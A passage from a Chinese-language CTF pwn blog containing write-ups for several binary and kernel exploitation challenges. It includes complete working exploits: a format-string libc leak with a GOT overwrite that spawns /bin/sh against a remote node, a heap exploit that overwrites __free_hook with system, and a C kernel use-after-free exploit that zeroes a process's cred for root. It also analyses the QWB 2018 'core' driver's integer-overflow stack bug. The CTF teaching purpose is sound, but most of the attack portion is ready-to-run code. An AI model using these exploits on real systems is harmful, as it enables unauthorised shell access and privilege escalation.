p += '%' + str(offset)
p += '$s'
p += 'CBAABCD' #随便一些自己规定的字符,方便结尾,中间的数据就是dump的数据了
p += p32(addr)
io.send(p)
io.recvuntil('ABCDE', drop = True)
data = io.recvuntil('CBAABCD', drop = True)
#print data
except EOFError: #读有错误的话,就断开重新连接
isDisconnect = True
io.close()
break

if len(data) == 0: #为0的话,说明读到的值为0,就没有输出,但数据还是要的补上
f.write('\x00')
addr += 1
else:
data += '\x00' # 注意字符串结尾是'\x00'是不会打印的,要得补上
f.write(data)
addr += len(data)
if(((addr - base_addr) % 10) == 0): #这里就是输出的进度了.
print('dumping: ' + str(addr - base_addr) + '/' + str(data_length))
if isDisconnect == True: #断开重新连接.
print('Error.')
io = remote(remoteIp, remotePort)
isDisconnect = False
sleep(0.5)


f.close()
io.close()

def exploit():
getbinary()

#--------------------------Main-----------------------------
if __name__ == '__main__':
exploit()


然后就静静的等待,若开启输出太多加上是远程dump,可能一个小时都还没dump 10k,尽量关掉输出.

dump文件之后如下:

1
2
3
logan@LYXF:~/share/axb_fmt1$ cat binary
ELF�4`4 (444� TT�T���� � �4d����hh�h�DDP�td����,,Q�tdR�
... ...

IDA分析dump的文件

所dump的文件不能反编译为c语言伪代码,只能看汇编.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
_init_proc	LOAD	08048418	00000023	0000000C	00000000	R	.	.	.	.	.	.
sub_8048450 LOAD 08048450 00000006 R . . . . . .
sub_8048460 LOAD 08048460 00000006 R . . . . . .
sub_8048470 LOAD 08048470 00000006 R . . . . . .
j_start LOAD 08048480 00000006 . . . . . . .
sub_8048490 LOAD 08048490 00000006 R . . . . . .
sub_80484A0 LOAD 080484A0 00000006 R . . . . . .
sub_80484B0 LOAD 080484B0 00000006 R . . . . . .
sub_80484C0 LOAD 080484C0 00000006 R . . . . . .
sub_80484D0 LOAD 080484D0 00000006 R . . . . . .
sub_80484E0 LOAD 080484E0 00000006 R . . . . . .
__gmon_start__ LOAD 080484F0 00000006 R . . . . . .
start LOAD 08048500 00000022 . . . . . . .
sub_8048530 LOAD 08048530 00000004 00000000 00000000 R . . . . . .
sub_8048540 LOAD 08048540 0000002B 00000000 00000000 R . . . . . .
sub_80485B0 LOAD 080485B0 0000001E 00000000 00000000 R . . . . . .
sub_80485D0 LOAD 080485D0 0000002B R . . . . . .
sub_8048760 LOAD 08048760 0000005D 00000010 0000000C R . . . . . .
nullsub_1 LOAD 080487C0 00000002 00000000 00000000 R . . . . . .
_term_proc LOAD 080487C4 00000014 0000000C 00000000 R . . . . . .

也可以看到,基本的函数也出来了, 但没有发现main函数,找相关逻辑代码吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
LOAD:080486AD                 lea     eax, [ebp-138h]
LOAD:080486B3 push eax
LOAD:080486B4 call sub_80484D0
LOAD:080486B9 add esp, 10h
LOAD:080486BC sub esp, 0Ch
LOAD:080486BF push offset aPleaseTellMe ; "Please tell me:"
LOAD:080486C4 call sub_8048470
LOAD:080486C9 add esp, 10h
LOAD:080486CC sub esp, 4
LOAD:080486CF push 100h
LOAD:080486D4 lea eax, [ebp-239h]
LOAD:080486DA push eax
LOAD:080486DB push 0
LOAD:080486DD call sub_8048460
LOAD:080486E2 add esp, 10h
LOAD:080486E5 sub esp, 4
LOAD:080486E8 lea eax, [ebp-239h]
LOAD:080486EE push eax
LOAD:080486EF push offset aRepeaterS ; "Repeater:%s\n"
LOAD:080486F4 lea eax, [ebp-138h]
LOAD:080486FA push eax
LOAD:080486FB call sub_80484E0
LOAD:08048700 add esp, 10h
LOAD:08048703 sub esp, 0Ch
LOAD:08048706 lea eax, [ebp-138h]
LOAD:0804870C push eax
LOAD:0804870D call sub_80484B0
LOAD:08048712 add esp, 10h
LOAD:08048715 mov [ebp-240h], eax
LOAD:0804871B cmp dword ptr [ebp-240h], 10Eh ; compare length with 10E
LOAD:08048725 jbe short loc_8048741
LOAD:08048727 sub esp, 0Ch
LOAD:0804872A push offset aWhatYouInputIs ; "what you input is really long!"
LOAD:0804872F call sub_8048470
LOAD:08048734 add esp, 10h
LOAD:08048737 sub esp, 0Ch
LOAD:0804873A push 0
LOAD:0804873C call sub_80484A0

虽然找到,但不知道调用什么函数, 需要去看看符号表.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
extern:0804A06C ; extern
extern:0804A06C ; void setbuf(FILE *stream, char *buf)
extern:0804A06C extrn setbuf:near
extern:0804A070 ; ssize_t read(int fd, void *buf, size_t nbytes)
extern:0804A070 extrn read:near
extern:0804A074 ; int printf(const char *format, ...)
extern:0804A074 extrn printf:near
extern:0804A078 ; unsigned int alarm(unsigned int seconds)
extern:0804A078 extrn alarm:near
extern:0804A07C ; int puts(const char *s)
extern:0804A07C extrn puts:near
extern:0804A080 ; void exit(int status)
extern:0804A080 extrn exit:near
extern:0804A084 ; size_t strlen(const char *s)
extern:0804A084 extrn strlen:near
extern:0804A088 ; int __cdecl _libc_start_main(int (__cdecl *main)(int, char **, char **), int argc, char **ubp_av, void (*init)(void), void (*fini)(void), void (*rtld_fini)(void), void *stack_end)
extern:0804A088 extrn __libc_start_main:near
extern:0804A08C ; void *memset(void *s, int c, size_t n)
extern:0804A08C extrn memset:near
extern:0804A090 ; int sprintf(char *s, const char *format, ...)
extern:0804A090 extrn sprintf:near
extern:0804A094 extrn __imp___gmon_start__:near ; weak
extern:0804A094 ; CODE XREF: __gmon_start__↑j

这就需要推断调用什么函数了.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
LOAD:080486AD                 lea     eax, [ebp-138h]
LOAD:080486B3 push eax
LOAD:080486B4 call sub_80484D0
LOAD:080486B9 add esp, 10h
LOAD:080486BC sub esp, 0Ch
LOAD:080486BF push offset aPleaseTellMe ; "Please tell me:"
LOAD:080486C4 call sub_8048470 // puts函数
LOAD:080486C9 add esp, 10h
LOAD:080486CC sub esp, 4
LOAD:080486CF push 100h // length
LOAD:080486D4 lea eax, [ebp-239h]
LOAD:080486DA push eax // buf
LOAD:080486DB push 0 //fd
LOAD:080486DD call sub_8048460 //read 函数
LOAD:080486E2 add esp, 10h
LOAD:080486E5 sub esp, 4
LOAD:080486E8 lea eax, [ebp-239h]
LOAD:080486EE push eax // buf
LOAD:080486EF push offset aRepeaterS ; "Repeater:%s\n" //arg 2
LOAD:080486F4 lea eax, [ebp-138h]
LOAD:080486FA push eax //buf2
LOAD:080486FB call sub_80484E0 //sprintf函数
LOAD:08048700 add esp, 10h
LOAD:08048703 sub esp, 0Ch
LOAD:08048706 lea eax, [ebp-138h]
LOAD:0804870C push eax //buf2
LOAD:0804870D call sub_80484B0 / /strlen函数,传入buf2
LOAD:08048712 add esp, 10h
LOAD:08048715 mov [ebp-240h], eax ; //srlen函数的返回值
LOAD:0804871B cmp dword ptr [ebp-240h], 10Eh ; compare length with 10E
LOAD:08048725 jbe short loc_8048741
LOAD:08048727 sub esp, 0Ch
LOAD:0804872A push offset aWhatYouInputIs ; "what you input is really long!"
LOAD:0804872F call sub_8048470
LOAD:08048734 add esp, 10h
LOAD:08048737 sub esp, 0Ch
LOAD:0804873A push 0
LOAD:0804873C call sub_80484A0

leak libc

泄漏libc的话,只需泄漏某个函数的got表,就选择sprintf来泄漏吧, 点击sprintf的call sub_80484E0进入plt跳转.

1
2
3
LOAD:080484E0 sub_80484E0     proc near               ; CODE XREF: LOAD:080486FB↓p
LOAD:080484E0 jmp ds:dword_804A030
LOAD:080484E0 sub_80484E0 endp

点击jmp到sprintf got 表地址

1
LOAD:0804A030 dword_804A030   dd 1C001Fh              ; DATA XREF: sub_80484E0↑r

0x0804A030就是sprintf的got表地址了,那么我们就可以通过字符串漏洞泄漏该地址的内容,从而获取到libc中sprintf的地址,strlen也是同样的方法.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
sprintf_got = 0x0804A030	
strlen_got = 0x0804A024
offset = 8
# leak libc
p = 'A' # for alignment
p += '%' + str(offset + 1) + '$s' + p32(sprintf_got)
s(p)
sprintf = u32(ru('\xf7')[-3:] + '\xf7')
li('sprintf ' + hex(sprintf))

'''
select:
2: ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64)
'''

libc = LibcSearcher('sprintf', sprintf)
libc_base = sprintf - libc.dump('sprintf')
li('libc_base ' + hex(libc_base))
system = libc_base + libc.dump('system')
li('system ' + hex(system))

修改strlen的got表内容为system

使用字符串漏洞来进行地址写入, 使用’$hn’s 2字节分两次写入,先写小的再写大的, system的高位地址要比system的低位地址大,则先写小的.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
high_sys = system >> (8 * 2) #获取高4位
low_sys = system & 0xFFFF #获取低4位
li('high_sys ' + hex(high_sys))
li('low_sys ' + hex(low_sys))

# modify strlen got
pre_len = len('Repeater:') + 1 + 4 + 4 #这里为数据已经打印的长度,后面写入长度需要减掉该长度
p = 'A' # for alignment
p += p32(strlen_got + 0) # 8
p += p32(strlen_got + 2) # 9

p += '%' + str(low_sys - pre_len) + 'c%' + str(offset + 0) + '$hn'
p += '%' + str(high_sys - low_sys) + 'c%' + str(offset + 1) + '$hn'
s(p)

get shell

使用’; ‘分割shell命令, 再调用strlen即调用system函数

1
sl('; /bin/sh')

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: I0gan

from pwn import *
from LibcSearcher import LibcSearcher

context.log_level='debug'
#context.terminal = ['konsole', '-x', 'bash', 'c']
#context.terminal = 'konsole'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')

exeFile = ''
libFile = '/lib/x86_64-linux-gnu/libc.so.6'

remoteIp = "node3.buuoj.cn"
remotePort = 29458

LOCAL = 0
LIB = 0

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info(x)
db = lambda : gdb.attach(io)

#--------------------------Func-----------------------------


#--------------------------Exploit--------------------------
def exploit():
sprintf_got = 0x0804A030
strlen_got = 0x0804A024
offset = 8
# leak libc
p = 'A' # for alignment
p += '%' + str(offset + 1) + '$s' + p32(sprintf_got)
s(p)
sprintf = u32(ru('\xf7')[-3:] + '\xf7')
li('sprintf ' + hex(sprintf))

'''
select:
2: ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64)
'''

libc = LibcSearcher('sprintf', sprintf)
libc_base = sprintf - libc.dump('sprintf')
li('libc_base ' + hex(libc_base))
system = libc_base + libc.dump('system')
li('system ' + hex(system))

high_sys = system >> (8 * 2)
low_sys = system & 0xFFFF
li('high_sys ' + hex(high_sys))
li('low_sys ' + hex(low_sys))

# modify strlen got
pre_len = len('Repeater:') + 1 + 4 + 4
p = 'A' # for alignment
p += p32(strlen_got + 0) # 8
p += p32(strlen_got + 2) # 9

p += '%' + str(low_sys - pre_len) + 'c%' + str(offset + 0) + '$hn'
p += '%' + str(high_sys - low_sys) + 'c%' + str(offset + 1) + '$hn'

s(p)
sl('; /bin/sh')

def finish():
ia()
c()

#--------------------------Main-----------------------------
if __name__ == '__main__':

if LOCAL:
exe = ELF(exeFile)
if LIB:
lib = ELF(libFile)
io = exe.process(env = {"LD_PRELOAD" : libFile})
else:
io = exe.process()

else:
io = remote(remoteIp, remotePort)
if LIB:
lib = ELF(libFile)

exploit()
finish()

Kenel pwn ciscn 2017 baby driver

第一天真正开始做kernel pwn类的题, 于用户空间做的体确实有点不太一样, 利用从python 转向c语言写与驱动交互的程序, 找驱动程序的漏洞, 然后提权为root

知识预备

权限

在linux中每个进程都有它自己的权限,而标示着权限的那些信息,比如uid,gid等都是被放在一个叫cred的结构体当中的,也就是说每个进程中都有一个cred结构,如果能够修改进程的cred的uid和gid为0, 那么该进程的权限就为root权限了.
以下是cred结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested * keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};

当我们是root权限的时候,我们的uid是等于0的,另外此版本的cred的大小是0xa8;

SLAB & SLUB

  kernel中没有libc,但是仍然需要内存的分配和释放,这时就会使用到kmalloc&kfree API(相当于用户态使用的malloc&free)。kmalloc&kfree的实现是通过SLAB或SLUB分配器,现在一般是SLUB分配器。分配器是通过一个多级的结构进行管理。首先有cache层,cache是一个结构,其中保存的对象分为空对象、部分使用的对象和完全使用的对象进行管理。对象就是指内存对象,也就是用来分配或者已经分配的一部分内核空间。kmalloc使用了多个cache,每个cache对应一个2的幂次大小的一组内存对象。

  SLAB和SLUB都是内核的内存管理机制。为了提高效率,SLAB要求系统暂时保留已经释放的内核对象空间,以便下次申请时不需要再次初始化和分配。但是SLAB比较严格,需要再次申请的数据类型和大小与原先的完全一样,并且不同cache的无法分在同一页内;而SLUB较为宽松,和堆分配机制更为相似。

设备程序分析

驱动中存在一个结构体

1
2
3
4
struct babydev_struct{
char *device_buf;
size_t device_buf_len;
};

babyopen函数

1
2
3
4
5
6
7
8
9
10
11
int __fastcall babyopen(inode *inode, file *filp)
{
__int64 v2; // rdx

_fentry__(inode, filp);
//对babydev_struct.device_buf 进行开辟一个0x40大小的内存
babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 0x40LL);
babydev_struct.device_buf_len = 0x40LL;
printk("device open\n", 0x24000C0LL, v2);
return 0;
}

babywrite函数

1
2
3
4
5
6
7
8
9
10
11
void __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx

_fentry__(filp, buffer);
if ( babydev_struct.device_buf )
{
if ( babydev_struct.device_buf_len > v4 )
copy_from_user(babydev_struct.device_buf, buffer, v4); // 从用户空间拷贝数据到babydev_struct.device_buf
}
}

babyread 函数

1
2
3
4
5
6
7
8
9
10
11
void __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx

_fentry__(filp, buffer);
if ( babydev_struct.device_buf )
{
if ( babydev_struct.device_buf_len > v4 )
copy_to_user(buffer, babydev_struct.device_buf, v4); //从内核中拷贝数据到用户空间
}
}

babyioctrl函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// local variable allocation has failed, the output may be wrong!
void __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
size_t v3; // rdx
size_t v4; // rbx
__int64 v5; // rdx

_fentry__(filp, *(_QWORD *)&command);
v4 = v3;
if ( command == 0x10001 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);// 根据用户来控制开辟内存空间的大小
babydev_struct.device_buf_len = v4;
printk("alloc done\n", 0x24000C0LL, v5);
}
else
{
printk("\x013defalut:arg is %ld\n", v3, v3);
}
}

babyrelease函数

1
2
3
4
5
6
7
8
9
int __fastcall babyrelease(inode *inode, file *filp)
{
__int64 v2; // rdx

_fentry__(inode, filp);
kfree(babydev_struct.device_buf); // 释放babydev_struct.device_buf, 对指针没有清0, 造成uaf漏洞
printk("device release\n", filp, v2);
return 0;
}

思路

这个从用户态的pwn来看好像漏洞并不明显,但是我们现在是在内核态了,要把用户态的单线程的思维抛开了,从多线程的角度来思考。

  1. 首先打开两次设备,通过ioctl将babydev_struct大小为的cred结构体的大小(不同版本kernel的可能不一样,需要通过源码去算);
  2. 然后释放其中一个设备,fork出一个新进程,此时这个新进程的cred 的空间就会重新开辟, 然而系统就会把之前大小一样空闲内存空间分配给它,。
  3. 第二个打开的文件描述符对这块空间进行写操作,只需要将uid和gid改为0,实现root提权

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// gcc exp.c -o exp -static -w
#include<unistd.h>
#include<fcntl.h>
#include<sys/stat.h>
#include<stdlib.h>
int main(void) {
// vul: uaf
int fd_1 = open("/dev/babydev", O_RDWR);
int fd_2 = open("/dev/babydev", O_RDWR); //babydev_struct.device_buf 记录的是 fd_2
pid_t pid;
ioctl(fd_1, 0x10001, 0xa8); // 开辟0xa8的内核空间, 命名为chunk1吧
if(-1 == fd_1 || -1 == fd_2) {
puts("open babydev failed!\n");
return -1;
}
close(fd_1); // 关闭fd_1, ioctl所开辟的0xa8空间, 释放掉chunk1内存,
pid = fork(); // fork 时有点类似与malloc中的fastbin原理, 子进程开辟cred内存的时候, 先遍历大小合适的空闲内存, 然后直接分配
// child process
if(pid == 0) {
char buf[60] = {0};
write(fd_2, buf, 60); //向释放掉的chunk1内存中填充60个0, 然而也是该进程的cred结构体,使uid和gid为0, 提权为root
system("/bin/sh"); //运行子进程时会继承父进程的权限
}else {
wait();
}
return 0;
}

调试

提取vmlinux

extract-vmlinux脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland <dick@streefland.net>
#
# (c) 2011 Corentin Chary <corentin.chary@gmail.com>
#
# ----------------------------------------------------------------------

check_vmlinux()
{
# Use readelf to check if it's a valid ELF
# TODO: find a better to way to check that it's really vmlinux
# and not just an elf
readelf -h $1 > /dev/null 2>&1 || return 1

cat $1
exit 0
}

try_decompress()
{
# The obscure use of the "tr" filter is to work around older versions of
# "grep" that report the byte offset of the line instead of the pattern.

# Try to find the header ($1) and decompress from here
for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
do
pos=${pos%%:*}
tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
check_vmlinux $tmp
done
}

# Check invocation:
me=${0##*/}
img=$1
if [ $# -ne 1 -o ! -s "$img" ]
then
echo "Usage: $me <kernel-image>" >&2
exit 2
fi

# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0

# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh' xy bunzip2
try_decompress '\135\0\0\0' xxx unlzma
try_decompress '\211\114\132' xy 'lzop -d'
try_decompress '\002!L\030' xxx 'lz4 -d'
try_decompress '(\265/\375' xxx unzstd

# Finally check for uncompressed images or objects:
check_vmlinux $img

# Bail out:
echo "$me: Cannot find vmlinux." >&2

保存为extract-vmlinux

提取vmlinux, 方便调试

1
./extract-vmlinux ./bzImage > vmlinux

启动gdb

1
gdb ./vmlinux -q

启动boot.sh获取babydriver的加载基址

使用 cat /proc/moudles或者lsmod

1
2
/ # lsmod
babydriver 16384 2 - Live 0xffffffffc0000000 (OE)

导入符号表

最后面填写babydriver的基址

1
add-symbol-file ./fs/lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000

调试qumu

在boot.sh中添加参数如下:

1
-gdb tcp::9999

调试

运行程序

1
./boot.sh

在gdb中连接该qemu程序

1
target remote 127.0.0.1:9999

运行如图

先下个断点

那么就和平时调试差不多了,只是调试相对比较慢而已, 下面就不演示了…

太湖杯 2020

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
# Author: i0gan
# Env: Linux arch 5.8.14-arch1-1

from pwn import *
import os

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')


context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

elf_path = 'pwn'
MODIFY_LD = 0
arch = '64'
libc_v = '2.29'

ld_path = '/glibc/' + libc_v + '/' + arch + '/lib/ld-linux-x86-64.so.2'
libs_path = '/glibc/' + libc_v + '/' + arch + '/lib'
libc_path = '/glibc/' + libc_v + '/' + arch + '/lib/libc.so.6'
libc_path = './libc.so.6'

# change ld path
if(MODIFY_LD):
os.system('cp ' + elf_path + ' ' + elf_path + '.bk')
change_ld_cmd = 'patchelf --set-interpreter ' + ld_path +' ' + elf_path
os.system(change_ld_cmd)
li('modify ld ok!')
exit(0)

# remote server ip and port
server_ip = "119.3.89.93"
server_port = 8014

# if local debug
LOCAL = 0
LIBC = 1


#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)

def ad(i, sz, d):
sla('ce:', '1')
sla(':', str(i))
sla(':', str(sz))
sa(':', d)

def md(i, sz, d):
sla('ce:', '2')
sla(':', str(i))
sla(':', str(sz))
if(len(d) > 0):
sa(':', d)

def rm(i):
sla('ce:', '3')
sla(':', str(i))

def dp(i):
sla('ce:', '4')
sla(':', str(i))

def cre7():
sla('ce:', '5')

def gift(d):
sla('ce:', '666')
sla(':', d)

#--------------------------exploit--------------------------
def exploit():
li('exploit...')
for i in range(10):
ad(i, 0x18, 'A' * 0x18)

rm(1)
md(0, 0, '')
dp(0)

ru(':')
leak = u64(ru('\n')[-6:] + b'\x00\x00')
heap = leak - 0x2a0
li('heap: ' + hex(heap))

for i in range(5):
rm(i + 2)

md(7, 0, '')
md(7, 0x18, p64(heap + 0x250))
ad(0, 0x18, b'A')
ad(0, 0x18, b'A')

gift('none')
ru('0x')
leak = int(r(12), 16)
offset = ( 0x7f50cd676140 - 0x7f50cd412000 ) # remote
#offset = ( 0x7f6faf78a900 - 0x7f6faf53a000) # local
libc_base = leak - offset
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
li('libc_base: ' + hex(libc_base))

ad(0, 0x58, b'A')
ad(1, 0x58, b'/bin/sh\x00')
ad(2, 0x58, b'A')
md(0, 0, '')
md(0, 0x58, p64(free_hook))
gift('A')
gift(p64(system))
db()
rm(1)
#ad(5, 0x58, 'A')



def finish():
ia()
c()

#--------------------------main-----------------------------
if __name__ == '__main__':

if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path, "LD_PRELOAD" : libc_path} )
else:
io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path} )

else:
elf = ELF(elf_path)
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)

exploit()
finish()

强网杯 2018 core

一个kernel pwn,来入入手。

如何解压cpio文件

1
sudo pacman -S ark

直接使用ark解压软件解压即可。

保护

start script

1
2
3
4
5
6
7
8
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

开启了aslr保护

driver

1
2
3
4
5
Arch:     amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)

有cannary保护

init script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0 -f

在上面init脚本中出现关机命令, 把它注释掉重新打包为cpio文件就不会自动关机了。

程序逻辑

init_module函数

1
2
3
4
5
6
__int64 init_module()
{
core_proc = proc_create("core", 438LL, 0LL, &core_fops);
printk(&unk_2DE);
return 0LL;
}

exit_core 函数

1
2
3
4
5
6
7
8
__int64 exit_core()
{
__int64 result; // rax

if ( core_proc )
result = remove_proc_entry("core");
return result;
}

core_ioctl函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
__int64 v3; // rbx

v3 = a3;
switch ( a2 )
{
case 0x6677889B:
core_read(a3);
break;
case 0x6677889C:
printk(&unk_2CD);
off = v3;
break;
case 0x6677889A:
printk(&unk_2B3);
core_copy_func(v3);
break;
}
return 0LL;
}

core_read函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned __int64 __fastcall core_read(__int64 a1)
{
__int64 v1; // rbx
__int64 *v2; // rdi
signed __int64 i; // rcx
unsigned __int64 result; // rax
__int64 v5; // [rsp-50h] [rbp-50h]
unsigned __int64 v6; // [rsp-10h] [rbp-10h]

v1 = a1;
v6 = __readgsqword(0x28u);
printk(&unk_25B);
printk(&unk_275);
v2 = &v5;
for ( i = 16LL; i; --i )
{
*(_DWORD *)v2 = 0;
v2 = (__int64 *)((char *)v2 + 4);
}
strcpy((char *)&v5, "Welcome to the QWB CTF challenge.\n");
result = copy_to_user(v1, (char *)&v5 + off, 64LL);
if ( !result )
return __readgsqword(0x28u) ^ v6;
__asm { swapgs }
return result;
}

core_copy_func

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
signed __int64 __fastcall core_copy_func(signed __int64 a1)
{
signed __int64 result; // rax
__int64 v2; // [rsp-50h] [rbp-50h]
unsigned __int64 v3; // [rsp-10h] [rbp-10h]

v3 = __readgsqword(0x28u);
printk(&unk_215);
if ( a1 > 63 )
{
printk(&unk_2A1);
result = 0xFFFFFFFFLL;
}
else
{
result = 0LL;
qmemcpy(&v2, &name, (unsigned __int16)a1); // vul
}
return result;
}

漏洞点

若在core_copy_func函数中传入的参数为负数,造成整型溢出,即可实现堆栈溢出。

打赏点小钱
支付宝 | Alipay
微信 | WeChat